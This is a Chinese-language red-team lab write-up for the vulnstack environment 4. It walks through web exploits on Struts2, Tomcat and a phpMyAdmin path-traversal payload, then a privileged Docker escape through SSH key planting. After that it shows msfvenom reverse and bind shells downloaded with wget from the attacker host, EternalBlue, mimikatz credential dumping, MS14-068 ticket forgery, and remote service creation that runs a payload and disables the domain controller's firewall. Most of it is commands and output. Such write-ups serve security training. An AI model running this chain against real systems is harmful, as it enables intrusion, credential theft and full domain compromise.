vulnstack-红队评估实战(4)
环境配置
web服务器
ubuntu:ubuntu
内网192.168.183.131
外网192.168.154.137
web服务需要自己启动分别为s2-045、CVE-2017-12615、cve-2018-12613
sudo su
ubuntu
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
docker-compose up
域成员机器
douser:Dotest123
192.168.183.128
域控
administrator:Test2021(密码过期修改的)
192.168.183.130
kali攻击机
192.168.154.129
1.对web服务器信息搜集
ip进行端口扫描
知道2001,2002,2003分别开放了三个web服务
2001端口
访问通过title可以看出中间件为struts2,工具检测存在s2-045和s2-046
但是s2-045没有成功利用,s2-046成功利用
2002端口
访问知道tomcat 8.5.19,vulmap扫描出目标
成功利用
2003端口
访问是一个phpmyadmin(无需登录),版本 4.8.1 存在一个任意文件包含漏洞
复现:
在index.php后添加?target=db_sql.php%3f/../../../../../../../../etc/passwd
2.进行docker逃逸
概念
严重安全漏洞(CVE-2019-5736),导致18.09.2版本之前的Docker允许恶意容器覆盖宿主机上的runC二进制文件,由此使攻击者能够以root身份在宿主机上执行任意命令。恶意容器需满足以下两个条件之一:
(1)由一个攻击者控制的恶意镜像创建
(2)攻击者具有某已存在容器的写权限,且可通过docker exec进入
docker逃逸在于启动dcoker时加入危险参数--privileged=ture(特权模式),允许容器内的root拥有外部物理机root权限而不是普通权限,本docker容器启动即为特权模式。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,使用特权模式启动容器,可以获取大量设备文件访问权限。此外还可以通过写入计划任务等方式在宿主机执行命令。
利用docker的特权模式来在宿主机硬盘中写入ssh私钥,建立用户实现ssh免密登录宿主机,从而实现对目标宿主机的控制。
实现
1.建立test目录,将/dev/sda1 挂载到test 目录
mkdir /test
mount /dev/sda1 /test
ls -alh /test
可以看到test目录中是目标宿主机的根目录
2.再修改宿主机的.ssh文件来实现密钥登录
本地生成ssh密钥
ssh-keygen -f attack
创建authorized_keys文件,权限为id_rsa.pub的权限
cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys
写入attack.pub文件内容到目标宿主机上的认证文件内(/test/home/ubuntu/.ssh/authorized_keys)
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/HfT/jwc+UQhyKbwbQNLk3FmBr/J0gfXaR4MH5yrWH240EVHw4CSvw8jHqxNVucxiDL5W0+wcEtAlm2EfIhVrYCvug+8Aqr6Y3WnZU72qdAYXSnJQ79nISIEsayWxlEvjuYYlHeTHh+51NalYtpI+NG0gjLOZM3+4eiVmF2ccCLetW7F7OHc6tfVo32wA4aa08L4Tt3Om3ZIbMrBa/2yteNGWis/EAteACaJm3fpV/9HGWPvCnNUeSwQA+HvoEzDJY8D+tWZvAEX9gDBIxgCYP7hmGVC5VSHOC9r5I2ArAcQJs/C9AuYpsZaicx7H6HGH2BWqV/iN4/yJoKxQYkArw6KKJC7Pip2TJ2G+m3sHjYt4UdKbc3iViHGQMT59aZuMaxZoBaZrlyQxYvqEjwTrqA+RfnwCf845BnMpbhGcqUZ9xrMJM0ixgWx/hiGF43g+9hYVaPGz1tc5ItqtIvnBp2sCCMqwtfyJiiJyDdRhDmiqdI+rIIL+xxLUBKh6nLE= root@kali' > /test/home/ubuntu/.ssh/authorized_keys
这里由于echo会将重定向符输出,所以写sh文件wget下载执行
python -m SimpleHTTPServer
检查
cat /test/home/ubuntu/.ssh/authorized_keys
密钥登录
ssh -i attack ubuntu@192.168.154.137
成功获得宿主机权限
3.shell转移metersploit
生成shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.154.129 LPORT=4444 -f elf > shell.elf
监听
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.154.129
run
wget下载执行
wget http://192.168.154.129:8000/shell.elf
4.linux提权
ubuntu,还是CVE-2021-3493提权
5.内网存活主机搜集
挂上代理
添加内网网段
run autoroute -s 192.168.183.0/24
自动添加跳板机上的所有路由
run post/multi/manage/autoroute
使用模块设置sock服务端
use auxiliary/server/socks_proxy
set srvport 7777
set version 5
先用msf找到存活主机
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.0-255
set threads 5
run
结果,发现主机128和130
nmap扫描
proxychains nmap -Pn -sT -sV 192.168.183.128 192.168.183.130 -F
结果,可以看到都开放了445
map scan report for localhost (192.168.183.128)
Host is up (0.096s latency).
Not shown: 90 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: DEMO)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: TESTWIN7-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Nmap scan report for localhost (192.168.183.130)
Host is up (0.99s latency).
Not shown: 91 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB1446A) (Windows Server 2008 R2 SP1)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-07-19 06:26:23Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn?
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: demo.com, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: DEMO)
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
6.横向移动
两个内网ip都开放了445,先尝试ms17_010
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.183.128 192.168.183.130
都可能可以利用,尝试利用,这里代理使用了chisel,msf的代理一直打不进去
setg Proxies socks5:127.0.0.1:1080
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.183.128
set payload windows/x64/meterpreter/bind_tcp
set AutoRunScript post/windows/manage/migrate
打了一年128终于进去了
7.内网信息搜集
为了方便接下来的信息收集,我们需要把当前权限降到普通域用户,因为不是域用户的话是没有权限执行域命令的。
getuid #查看当前token
use incognito #加载incognito
list_tokens -u #列出AccessToken
impersonate_token "DEMO\douser" #模拟DEMO\douser用户
rev2self #返回到之前的AccessToken权限
开始搜集
net config Workstation 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user 查看本机用户列表
net user /domain 查看域用户
net localgroup administrators 查看本地管理员组(通常会有域用户)
net view /domain 查看有几个域
net group "domain admins" /domain 查看域管理员的名字
net group "domain controllers" /domain 查看域控制器机器名(可能有多台)
搜集到的信息
域控机器名WIN-ENS2VR5TR3N
域控管理用户Administrator
域用户 Administrator douser Guest krbtgt
ping域控WIN-ENS2VR5TR3N.demo.com得到ip
192.168.183.130
8.域权限提升
这里获得域用户douser的密码有两种方式
-
ubuntu机器的历史命令histroy
2.利用mimikatz泄露
load mimikatz
kiwi_cmd sekurlsa::logonPasswords
然后利用ms14-028进行权限提升
首先切换为douser用户,查看本机用户的id
impersonate_token "DEMO\douser"
whoami /all
得到S-1-5-21-979886063-1111900045-1414766810-1107,利用工具提权
ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
// ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码
生成TGT票据,然后利用mimikatz注入票据
使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc <生成的票据文件> //将票据注入到内存中
klist查看是否注入成功
登录域控查看目录
net use \\WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\c$
然后构造一个正向的木马文件(因为是代理进入内网的)同时监听
msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.154.129 lport=5555 -f exe -o bind.exe
setg proxies socks5:127.0.0.1:1080
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 5555
set rhosts 192.168.183.130
set AutoRunScript post/windows/manage/migrate
run
生成后上传到win7,然后通过smb文件共享来讲木马文件复制到域控C盘
upload bind.exe C:\
copy c:\bind.exe \\WIN-ENS2VR5TR3N\c$
利用sc创建服务来执行木马文件
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell
附:关闭防火墙
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
拿下!